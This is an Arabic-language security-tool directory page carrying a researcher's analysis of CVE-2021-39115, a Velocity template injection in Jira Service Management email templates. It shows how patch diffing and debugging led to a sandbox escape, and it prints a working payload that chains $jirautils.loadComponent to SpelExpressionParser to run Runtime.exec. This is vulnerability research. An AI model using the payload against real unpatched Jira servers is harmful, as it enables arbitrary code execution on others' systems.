Skip to content
KitploitKITPLOIT
أدواتالمدونة
إرسال
أدواتالمدونة
إرسال

أدوات الاختراق واختبار الاختراق والأمن السيبراني لترسانتك الأمنية!

Kitploit هو دليل لأدوات الاختراق والأمن السيبراني واختبار الاختراق. اكتشف آخر تحديثات المشاريع للعثور على الثغرات وتحليل الأنظمة وأتمتة الاختبارات وتعزيز أمنك.

··الخلاصات·اتصال·الخصوصية·© 2026 Kitploit

دليل الأدوات

الفئات

عرض جميع الفئات
Loading categories
CVE-2021-39115 — حقن القوالب في قوالب البريد الإلكتروني يؤدي إلى تنفيذ الأكواد على خادم إدارة خدمات جيرا | Kitploit
أدوات/GitHubGitHub/petrusviet/cve-2021-39115
تحليل الثغرات الأمنيةتحليل الكودالاستغلالاستغلال تطبيقات الويباختبار الاختراقالتعلم والتعليم
GitHubpetrusviet/cve-2021-39115

CVE-2021-39115

حقن القوالب في قوالب البريد الإلكتروني يؤدي إلى تنفيذ الأكواد على خادم إدارة خدمات جيرا

عرض المستودع
48121منذ 5 سنواتتمت المراجعة من قبل Kitploit

الأكثر شعبية

عرض الكل →

اكتشف الأدوات الأكثر استخدامًا من قبل مجتمعنا.

استكشف جميع الأدوات

تصفح مجموعتنا من الأدوات

عرض جميع الأدوات →
مشاركة

CVE-2021-39115

حقن القوالب في قوالب البريد الإلكتروني يؤدي إلى تنفيذ التعليمات البرمجية على Jira Service Management Server

I) البناء

لقد شرحت كيفية النشر + التصحيح هنا، يمكنكم الرجوع إليها.

II) التحليل

في الوصف لهذا CVE، تم توضيح أن الخلل يقع في ميزة Email Template. بصلاحية المسؤول، يمكن للمستخدم تعديل قوالب رسائل البريد الإلكتروني الإعلامية حسب الرغبة. يتطلب هذا الخلل صلاحية المسؤول لتنفيذه، لذا حتى مع وجود RCE فهو ليس خطيرًا جدًا، لكنني قررت كتابة المدونة للتسلية :) أي شخص يبحث عن SSTI يمكنه الرجوع إليها.

  • لنبدأ العمل، قمت بنشر الإصدار atlassian-jira-servicedesk-4.17.0-m0006-standalone وحاولت مقارنته بالإصدار 4.18.0 لرؤية الاختلافات: image

عند رؤية هذا الكم، ... بالطبع لم أقرأ كل ملف على حدة، فأنا كسول جدًا. أمزح، لكن في الواقع، بالإضافة إلى وجود إصدار أمان مُصلح، تحتوي الإصدارات أيضًا على ترقيات وتغييرات في الميزات. مقارنة كل شيء ثم قراءته يستغرق وقتًا طويلاً. بالطبع في بعض الحالات يجب علي المقارنة والقراءة، لكن في هذه الحالة لم أفعل ذلك =)))

  • كما ذكر أعلاه، يمكن للمسؤول تغيير قالب جميع رسائل البريد الإلكتروني الإعلامية. لذا، الخطوة الأولى هي معرفة السياقات الموجودة أثناء تحليل رسائل البريد الإلكتروني. هذا مهم بشكل خاص عند محاولة استغلال ثغرة SSTI (مع استخدام الصندوق الرملي). أفضل طريقة هي التصحيح والدخول إلى نقطة تحليل قالب البريد الإلكتروني لرؤية قيمة متغير السياق.
  • بالطبع، هناك أنواع مختلفة من الإشعارات (تسجيل، تغيير كلمة المرور، ...)، كل نوع يستخدم نقطة نهاية مختلفة. استخدمت ميزة SendBulkMail لإنشاء بريد إلكتروني إعلامي. فيما يتعلق بمكدس الاستدعاء لهذه النقطة، لن أذكره تجنبًا للإطالة لأنه مشابه لمكدس الاستدعاء في CVE-2019-11581

في الدالة SimpleNote.render يمكنني رؤية متغير السياق لمعرفة ما يمكنني الاستفادة منه:

بناءً على تجربتي الشخصية، سأركز على فحص السياقات/الفئات التي تحتوي على كلمات مفتاحية مثل: Utils, Manager, service,... . لاحظت وجود السياق $jirautils (الفئة com.atlassian.jira.util.JiraUtils) الذي يحتوي على method public static <T> T loadComponent(String className, Class<?> callingClass):

بحثت في الوثائق لمعرفة وظيفتها وكيفية استخدامها، لأن الإدخال هو String className والمخرج هو فئة، لذا من المحتمل أن هذه الـ method تحمل الفئة بشكل عشوائي:

  • كما تقول الوثائق، هذه الدالة تستخدم لتحميل الفئات :) بدأت على الفور للتحقق مما إذا كانت الـ method تحمل الفئة بشكل عشوائي أم لا:

ذهبت إلى System -> Email templates وقمت بتحميل ملف القالب الحالي إلى الجهاز

هناك العديد من القوالب المختلفة، كل منها يستخدم لنوع معين من الإشعارات، لذا بحثت عن ملف يمكن استخدامه لأنواع متعددة مثل email\html\includes\header.vm

بعد رفع ملف القالب المعدل، واستخدام SendBulkMail لإرسال بريد إلكتروني إعلامي. تلقيت الناتج في البريد الإلكتروني كالتالي:

باختصار، هذه الفئة ليس لديها بنائون أو غير مقبولة. جربت استخدام فئة أخرى تحتوي على بنائين (بناؤون بدون إدخال) لنرى:

وكانت النتيجة كما هو متوقع. تمكنت من الحصول على الفئة بنجاح:

  • إذن، أصبح بإمكاننا تحميل الفئة تقريبًا بشكل عشوائي، وهذا جيد. لكن كيف يمكن تحقيق RCE؟ تستخدم Jira قالب Velocity مع صندوق رملي مكتمل إلى حد ما، مع قوائم سوداء للحزم والفئات (حيث يمكن للقائمة السوداء للفئات منع جميع الفئات الممتدة من الفئات الموجودة في القائمة السوداء). استخدام الفئات المنشورة على الإنترنت يكاد يكون مستحيلًا. هنا، اضطررت لمقارنة الإصدار الخاطئ مع الإصدار المُصحح لمعرفة الاختلافات. بالطبع، لن أقارن الكل، بل سأقارن فقط ملف تهيئة Velocity (\atlassian-jira\WEB-INF\classes\velocity.properties) لمعرفة ما إذا كان هناك تحديث جديد:

نرى أنه تمت إضافة 3 فئات إلى القائمة السوداء:

root@kitploit:~
org.springframework.expression.spel.standard.SpelExpressionParser,\
com.atlassian.jira.component.ComponentAccessor,\
com.atlassian.jira.plugin.ComponentClassManager

عند فحص كل فئة، لاحظت أن الفئة SpelExpressionParser تحتوي على method public SpelExpression parseRaw(String expressionString). بعد البحث في Google قليلاً عن كيفية استخدامها، وجدت أنه يمكن استخدامها بهذا الشكل:

root@kitploit:~
#set($SpelExpressionParser = $jirautils.loadComponent('org.springframework.expression.spel.standard.SpelExpressionParser',$i18n.getClass()))
$SpelExpressionParser.parseRaw("T(java.lang.Runtime).getRuntime().exec('calc')")

كما ترون، الدالة parseRaw تُرجع كائنًا من الفئة org.springframework.expression.spel.standard.SpelExpression ولكنها لم تقم فعليًا بتقييم التعبير الذي أدخلته. دخلت إلى الفئة SpelExpression ورأيت method getValue:

root@kitploit:~
@Nullable
    public Object getValue() throws EvaluationException {
        CompiledExpression compiledAst = this.compiledAst;
        if (compiledAst != null) {
            try {
                EvaluationContext context = this.getEvaluationContext();
                return compiledAst.getValue(context.getRootObject().getValue(), context);
            } catch (Throwable var4) {
                if (this.configuration.getCompilerMode() != SpelCompilerMode.MIXED) {
                    throw new SpelEvaluationException(var4, SpelMessage.EXCEPTION_RUNNING_COMPILED_EXPRESSION, new Object[0]);
                }
            }

            this.compiledAst = null;
            this.interpretedCount.set(0);
        }

        ExpressionState expressionState = new ExpressionState(this.getEvaluationContext(), this.configuration);
        Object result = this.ast.getValue(expressionState);
        this.checkCompile(expressionState);
        return result;
    }

بالنظر إلى الإدخال/الإخراج، قررت كشخص يعتمد على الحدس أن أجرب مباشرة دون قراءة الوثائق:

root@kitploit:~
#set($SpelExpressionParser = $jirautils.loadComponent('org.springframework.expression.spel.standard.SpelExpressionParser',$i18n.getClass()))
$SpelExpressionParser.parseRaw("T(java.lang.Runtime).getRuntime().exec('calc')").getValue()

والنتيجة:

III) الخاتمة

وهكذا تمكنا من تجاوز الصندوق الرملي لـ Velocity لتحقيق RCE. ولكن عندما أضع نفسي في مكان المؤلف - مكتشف هذا الخلل - هناك العديد من الأسئلة التي لا أستطيع تفسيرها:

  • لماذا تمت إضافة 3 فئات إلى القائمة السوداء؟

عندما بحثت في هذه الفئات الثلاث، وجدت أنها يمكن أن تشكل سلسلة:

root@kitploit:~
ComponentAccessor.getComponentClassManager() 
  => ComponentClassManager.newInstance(String className) (هذه الفئة يمكنها تحميل فئة عشوائية)
        => SpelExpressionParser

إذا كان المؤلف قد استخدم $jirautils مثلي، فلن يحتاج إلى الفئتين الأخريين. ولكن إذا لم يستخدم $jirautils، فكيف يمكنه الحصول على ComponentAccessor؟؟؟

  • كيف تمكن المؤلف من العثور على هذه الفئات الثلاث؟ هذا هو السؤال الذي يشغلني وأريد معرفته أكثر، ولكن ربما الطريقة الوحيدة هي الاتصال بالمؤلف مباشرة. للأسف، لا أعرف من هو مؤلف هذا الخلل.

IV) الاستمرار في تجاوز التصحيح

تنزيل الأداة